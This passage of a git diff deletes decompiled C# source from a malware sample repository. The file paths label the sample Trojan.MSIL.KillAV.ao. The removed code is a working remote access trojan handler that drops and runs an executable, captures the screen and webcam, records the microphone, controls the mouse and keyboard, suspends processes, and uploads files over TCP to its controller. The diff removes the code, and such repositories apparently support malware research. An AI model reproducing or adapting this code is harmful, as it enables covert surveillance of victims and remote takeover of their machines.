- str83 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num62) + ".exe"; - goto label_247; - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - checked { ++num62; } - if (num62 > 999) - goto label_247; - } - str83 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num62) + ".exe"; -label_247: - string path = str83; - byte[] B = API.FDE(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - bool flag = false; - ref bool local74 = ref flag; - byte[] bytes = API.ZIP(B, ref local74); - File.WriteAllBytes(path, bytes); - Process.Start(new ProcessStartInfo() - { - FileName = str83, - Arguments = "!0@" + Application.ExecutablePath + "@" + B.SU + "@" + Conversions.ToString(Process.GetCurrentProcess().Id) - }); - } - else if (Operators.CompareString(Left1, "#30", false) == 0) - { - try - { - Array Instance44 = Instance1; - object[] objArray82 = new object[1]; - object[] objArray83 = objArray82; - int num63 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num63; - objArray83[0] = (object) local; - object[] Arguments = objArray82; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance44, Arguments, (string[]) null)); - byte[] numArray = sc.gc(ref integer); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num63, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Encoding.Default.GetBytes("#19" + IND.Y), 0, Encoding.Default.GetBytes("#19" + IND.Y).Length); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - else if (Operators.CompareString(Left1, "#31", false) == 0) - { - num1 = 0; - if (B.Busy) - return; - B.Busy = true; - B b = MyProject.Forms.B; - string str84 = "#16" + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Width) + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Height); - ref string local = ref str84; - b.SEND(ref local); - B.Busy = false; - } - else if (Operators.CompareString(Left1, "#32", false) == 0) - { - num1 = 0; - Cursor.Position = new Point(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null))); - IND.mouse_event(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), 0, 0, 0, 1); - } - else if (Operators.CompareString(Left1, "#33", false) == 0) - { - B b = MyProject.Forms.B; - string str85 = "#5" + IND.Y + API.Gt(); - ref string local = ref str85; - b.SEND(ref local); - } - else if (Operators.CompareString(Left1, "#34", false) == 0) - { - num1 = 0; - Array Instance45 = Instance1; - object[] objArray84 = new object[1]; - object[] objArray85 = objArray84; - int num64 = 1; - // ISSUE: variable of a boxed type - __Boxed local75 = (ValueType) num64; - objArray85[0] = (object) local75; - object[] Arguments = objArray84; - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance45, Arguments, (string[]) null)); - ref int local76 = ref integer; - int num65 = 0; - ref int local77 = ref num65; - byte[] numArray = C.Capture1(ref local76, ref local77); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num64, - (object) integer - }, (string[]) null, true, false); - byte[] buffer = numArray; - if (buffer.Length != 0) - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, checked (IND.Y.Length + 2)); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - } - else if (Operators.CompareString(Left1, "#35", false) == 0) - { - int num66 = checked (Instance1.Length - 1); - int num67 = 1; - while (num67 <= num66) - { - NTSuspendProcess.SuspendProcess(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num67 - }, (string[]) null))); - checked { ++num67; } - } - } - else if (Operators.CompareString(Left1, "#36", false) == 0) - { - int num68 = checked (Instance1.Length - 1); - int num69 = 1; - while (num69 <= num68) - { - NTSuspendProcess.ResumeProcess(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) num69 - }, (string[]) null))); - checked { ++num69; } - } - } - else if (Operators.CompareString(Left1, "#37", false) == 0) - { - try - { - Cam cam = new Cam(); - B b = MyProject.Forms.B; - string str86 = "#22" + IND.Y; - string s = cam.Dnames(); - string str87 = API.ENB(ref s); - string str88 = Conversions.ToString(Operators.ConcatenateObject((object) (str86 + str87 + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null))); - ref string local = ref str88; - b.SEND(ref local); - } - catch (Exception ex) - { - int lErl = num3; - ProjectData.SetProjectError(ex, lErl); - ProjectData.ClearProjectError(); - } - } - else if (Operators.CompareString(Left1, "#38", false) == 0) - { - IND.bz = true; - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null), (object) 1, false)) - num1 = -2; - Cam cam = new Cam(); - int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)); - Image image = cam.cap(ref integer); - MemoryStream memoryStream1 = new MemoryStream(); - image.Save((Stream) memoryStream1, ImageFormat.Jpeg); - MemoryStream memoryStream2 = new MemoryStream(); - memoryStream2.Write(MyProject.Forms.B.WC.STB(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#23" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), (object) IND.Y))), 0, MyProject.Forms.B.WC.STB(Conversions.ToString(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("#23" + IND.Y), NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), (object) IND.Y))).Length); - memoryStream2.Write(memoryStream1.ToArray(), 0, memoryStream1.ToArray().Length); - cam.dispose(); - MyProject.Forms.B.WC.SendData(memoryStream2.ToArray()); - } - else if (Operators.CompareString(Left1, "#39", false) == 0) - { - bool flag = false; - while (true) - { - num2 = 39; - try - { - object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("sapi.spvoice")); - NewLateBinding.LateSet(objectValue, (System.Type) null, "rate", new object[1] - { - RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)) - }, (string[]) null, (System.Type[]) null); - object Instance46 = objectValue; - object[] objArray86 = new object[1]; - object[] objArray87 = objArray86; - Array Instance47 = Instance1; - object[] objArray88 = new object[1]; - object[] objArray89 = objArray88; - int num70 = 1; - // ISSUE: variable of a boxed type - __Boxed local = (ValueType) num70; - objArray89[0] = (object) local; - object[] Arguments19 = objArray88; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance47, Arguments19, (string[]) null)); - string str89 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num70, - (object) s - }, (string[]) null, true, false); - objArray87[0] = (object) str89; - object[] Arguments20 = objArray86; - NewLateBinding.LateCall(Instance46, (System.Type) null, "Speak", Arguments20, (string[]) null, (System.Type[]) null, (bool[]) null, true); - break; - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - if (!flag) - { - flag = true; - ProjectData.ClearProjectError(); - } - else - { - ProjectData.ClearProjectError(); - break; - } - } - } - } - else if (Operators.CompareString(Left1, "#40", false) == 0) - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(Da, checked (NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 0) - }, (string[]) null).ToString().Length + IND.Y.Length), checked (Da.Length - NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - unchecked ((object) 0) - }, (string[]) null).ToString().Length + IND.Y.Length)); - Audio audio = MyProject.Computer.Audio; - byte[] array = memoryStream.ToArray(); - bool flag = false; - ref bool local = ref flag; - byte[] data = API.ZIP(array, ref local); - audio.Play(data, AudioPlayMode.Background); - } - else if (Operators.CompareString(Left1, "#41", false) == 0) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 0 - }, (string[]) null), (object) "#41", false)) - { - string str90 = "open new Type waveaudio Alias recsound"; - ref string local78 = ref str90; - string str91 = ""; - ref string local79 = ref str91; - IND.mciSendString(ref local78, ref local79, 0, 0); - string str92 = "record recsound"; - ref string local80 = ref str92; - str91 = ""; - ref string local81 = ref str91; - IND.mciSendString(ref local80, ref local81, 0, 0); - Thread.Sleep(5000); - string str93 = "save recsound " + IND.TM + "rq"; - ref string local82 = ref str93; - str91 = ""; - ref string local83 = ref str91; - IND.mciSendString(ref local82, ref local83, 0, 0); - string str94 = "close recsound"; - ref string local84 = ref str94; - str91 = ""; - ref string local85 = ref str91; - IND.mciSendString(ref local84, ref local85, 0, 0); - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(MyProject.Forms.B.WC.STB("#25" + IND.Y), 0, MyProject.Forms.B.WC.STB("#25" + IND.Y).Length); - byte[] B = File.ReadAllBytes(IND.TM + "rq"); - bool flag = true; - ref bool local86 = ref flag; - byte[] buffer = API.ZIP(B, ref local86); - memoryStream.Write(buffer, 0, buffer.Length); - MyProject.Forms.B.WC.SendData(memoryStream.ToArray()); - } - } - else if (Operators.CompareString(Left1, "#42", false) == 0) - { - num1 = 6; - new IND.UL() - { - sock = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), - F = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null)), - idx = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 3 - }, (string[]) null)) - }.start(); - } - else if (Operators.CompareString(Left1, "#43", false) == 0) - { - num1 = 0; - Array Instance48 = Instance1; - object[] objArray90 = new object[1]; - object[] objArray91 = objArray90; - int num71 = 1; - // ISSUE: variable of a boxed type - __Boxed local87 = (ValueType) num71; - objArray91[0] = (object) local87; - object[] Arguments21 = objArray90; - string s = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance48, Arguments21, (string[]) null)); - string str95 = API.DEB(ref s); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num71, - (object) s - }, (string[]) null, true, false); - string str96 = str95; - ref string local88 = ref str96; - Array Instance49 = Instance1; - object[] objArray92 = new object[1]; - object[] objArray93 = objArray92; - int num72 = 2; - // ISSUE: variable of a boxed type - __Boxed local89 = (ValueType) num72; - objArray93[0] = (object) local89; - object[] Arguments22 = objArray92; - int integer7 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance49, Arguments22, (string[]) null)); - ref int local90 = ref integer7; - Array Instance50 = Instance1; - object[] objArray94 = new object[1]; - object[] objArray95 = objArray94; - int num73 = 3; - // ISSUE: variable of a boxed type - __Boxed local91 = (ValueType) num73; - objArray95[0] = (object) local91; - object[] Arguments23 = objArray94; - int integer8 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance50, Arguments23, (string[]) null)); - ref int local92 = ref integer8; - Array Instance51 = Instance1; - object[] objArray96 = new object[1]; - object[] objArray97 = objArray96; - int num74 = 4; - // ISSUE: variable of a boxed type - __Boxed local93 = (ValueType) num74; - objArray97[0] = (object) local93; - object[] Arguments24 = objArray96; - int integer9 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance51, Arguments24, (string[]) null)); - ref int local94 = ref integer9; - IND.DrawScreen(ref local88, ref local90, ref local92, ref local94); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num74, - (object) integer9 - }, (string[]) null, true, false); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num73, - (object) integer8 - }, (string[]) null, true, false); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num72, - (object) integer7 - }, (string[]) null, true, false); - } - else if (Operators.CompareString(Left1, "#44", false) == 0) - keyboard.click(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null)), (Keys) Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 2 - }, (string[]) null))); - } - } - } - catch (Exception ex) - { - int lErl = num2; - ProjectData.SetProjectError(ex, lErl); - Exception exception = ex; - IND.bz = false; - B.Busy = false; - if (num1 == -1) - { - ProjectData.ClearProjectError(); - return; - } - if (num1 == -2) - { - ProjectData.ClearProjectError(); - return; - } - ref int local95 = ref num1; - string message = exception.Message; - ref string local96 = ref message; - IND.sdEr(ref local95, ref local96); - ProjectData.ClearProjectError(); - } -label_300: - IND.bz = false; - } - - public static void DrawScreen(ref string Text, ref int CLR, ref int Size, ref int sec) - { - Font font = new Font("arial", (float) Size); - int integer = Conversions.ToInteger(Conversions.ToString(sec) + Conversions.ToString(0) + Conversions.ToString(0) + Conversions.ToString(0)); - int num = 0; - while (num <= integer) - { - Thread.Sleep(10); - Graphics.FromHdc((IntPtr) IND.GetDC(0)).DrawString(Text, font, (Brush) new SolidBrush(System.Drawing.Color.FromArgb(CLR)), 0.0f, 0.0f); - checked { num += 100; } - } - } - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern int GetDC(int hWnd); - - [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)] - private static extern int ReleaseDC(int hWnd, int hDC); - - public static void sdEr(ref int Er, ref string T) - { - B b = MyProject.Forms.B; - string str = "#10" + IND.Y + "^" + Conversions.ToString(Er) + IND.Y + API.ENB(ref T); - ref string local = ref str; - b.SEND(ref local); - } - - [DllImport("winmm.dll", EntryPoint = "mciSendStringA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int mciSendString( - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpstrCommand, - [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpstrReturnString, - int uReturnLength, - int hwndCallback); - - public static string siz(string Size) - { - if (Size.Length < 4) - return Size + " Bytes"; - string str1 = Conversions.ToString(Conversions.ToDouble(Size) / 1024.0); - string str2 = " KB"; - int integer; - if (Strings.InStr(str1, ".") > 0) - { - Array Instance = (Array) Strings.Split(str1, "."); - str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null)); - if (NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length > 3) - integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)), 1, 3)); - else - integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)); - } - if (str1.Length > 3) - { - str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0); - str2 = " MB"; - if (Strings.InStr(str1, ".") > 0) - { - Array Instance = (Array) Strings.Split(str1, "."); - str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null)); - if (NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length > 3) - integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)), 1, 3)); - else - integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)); - } - } - if (str1.Length > 3) - { - str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0); - str2 = " GB"; - if (Strings.InStr(str1, ".") > 0) - { - Array Instance = (Array) Strings.Split(str1, "."); - str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null)); - if (NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null).ToString().Length > 3) - integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)), 1, 3)); - else - integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 1 - }, (string[]) null)); - } - } - return str1 + "." + Conversions.ToString(integer) + str2; - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern void mouse_event( - int dwFlags, - int dx, - int dy, - int cButtons, - int dwExtraInfo); - - public static byte[] SB(ref string s, ref byte[] B) - { - MemoryStream memoryStream = new MemoryStream(); - byte[] bytes = Encoding.Default.GetBytes(s); - memoryStream.Write(bytes, 0, bytes.Length); - byte[] B1 = B; - bool flag = true; - ref bool local = ref flag; - byte[] buffer = API.ZIP(B1, ref local); - memoryStream.Write(buffer, 0, buffer.Length); - return memoryStream.ToArray(); - } - - public delegate void indd(string T); - - public class UL - { - public int idx; - public string F; - public int sock; - private TcpClient k; - public int PZ; - private byte[] bb; - private int fz; - private int sd; - private bool rc; - - public UL() - { - this.k = new TcpClient(); - this.PZ = -1; - this.rc = false; - } - - public void R() - { - try - { - this.fz = checked ((int) FileSystem.FileLen(API.DEB(ref this.F))); - byte[] buffer = MyProject.Forms.B.WC.STB("#26" + IND.Y + Conversions.ToString(this.sock) + IND.Y + this.F + IND.Y + Conversions.ToString(this.fz) + IND.Y + Conversions.ToString(this.idx) + "nj-q8"); - this.k.Client.Send(buffer, buffer.Length, SocketFlags.None); - do - { - Thread.Sleep(1); - } - while (this.k.Client.Available <= 0); - byte[] numArray = new byte[checked (this.k.Client.Available + 1)]; - this.k.Client.Receive(numArray, numArray.Length, SocketFlags.None); - this.PZ = Conversions.ToInteger(MyProject.Forms.B.WC.BTS(numArray).Replace("nj-q8", "")); - if (this.PZ != -1) - { - MemoryStream memoryStream = new MemoryStream(); - memoryStream.Write(this.bb, this.PZ, checked (this.bb.Length - this.PZ)); - this.k.Client.Send(memoryStream.ToArray(), memoryStream.ToArray().Length, SocketFlags.None); - } - try - { - this.k.Close(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.bb = (byte[]) null; - this.rc = true; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void start() - { - try - { - this.bb = File.ReadAllBytes(API.DEB(ref this.F)); - this.k.Client.ReceiveBufferSize = 999999; - this.k.Client.SendBufferSize = 999999; - this.k.Client.ReceiveTimeout = -1; - this.k.Client.SendTimeout = -1; - this.k.Client.Connect(B.no.Split(':')[0], Conversions.ToInteger(B.no.Split(':')[1])); - new Thread(new ThreadStart(this.R)).Start(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyApplication.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyApplication.cs deleted file mode 100644 index 23e82023..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MyApplication -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace n.My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ConsoleApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyComputer.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyComputer.cs deleted file mode 100644 index 031b3c25..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MyComputer -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace n.My -{ - [GeneratedCode("MyTemplate", "8.0.0.0")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyProject.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyProject.cs deleted file mode 100644 index 9c1cb757..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MyProject.cs +++ /dev/null @@ -1,225 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MyProject -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.Collections; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace n.My -{ - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - [HideModuleName] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.Forms")] - internal static MyProject.MyForms Forms - { - [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class MyForms - { - public B m_B; - public chat m_chat; - [ThreadStatic] - private static Hashtable m_FormBeingCreated; - - public B B - { - get - { - this.m_B = MyProject.MyForms.Create__Instance__(this.m_B); - return this.m_B; - } - set - { - if (value == this.m_B) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_B); - } - } - - public chat chat - { - get - { - this.m_chat = MyProject.MyForms.Create__Instance__(this.m_chat); - return this.m_chat; - } - set - { - if (value == this.m_chat) - return; - if (value != null) - throw new ArgumentException("Property can only be set to Nothing"); - this.Dispose__Instance__(ref this.m_chat); - } - } - - [DebuggerHidden] - private static T Create__Instance__(T Instance) where T : Form, new() - { - if ((object) Instance != null && !Instance.IsDisposed) - return Instance; - if (MyProject.MyForms.m_FormBeingCreated != null) - { - if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T))) - throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate")); - } - else - MyProject.MyForms.m_FormBeingCreated = new Hashtable(); - MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null); - try - { - return new T(); - } - catch (TargetInvocationException ex) when ( - { - // ISSUE: unable to correctly present filter - ProjectData.SetProjectError((Exception) ex); - if (ex.InnerException != null) - { - SuccessfulFiltering; - } - else - throw; - } - ) - { - throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException); - } - finally - { - MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T)); - } - } - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) where T : Form - { - instance.Dispose(); - instance = default (T); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyForms() - { - } - - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override int GetHashCode() => base.GetHashCode(); - - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyForms); - - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new System.Type GetType() => typeof (MyProject.MyWebServices); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MySettings.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MySettings.cs deleted file mode 100644 index 56e613f3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-27eafab1bfbe5012a9dd5eb6a22a5e09a25b91a1b79c55ba29e0e7098dcc6f9f/n/My/MySettings.cs +++ /dev/null @@ -1,30 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.My.MySettings -// Assembly: p, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 91D63E37-42E0-404C-97F4-07116ACD2D57 -// Assembly location: 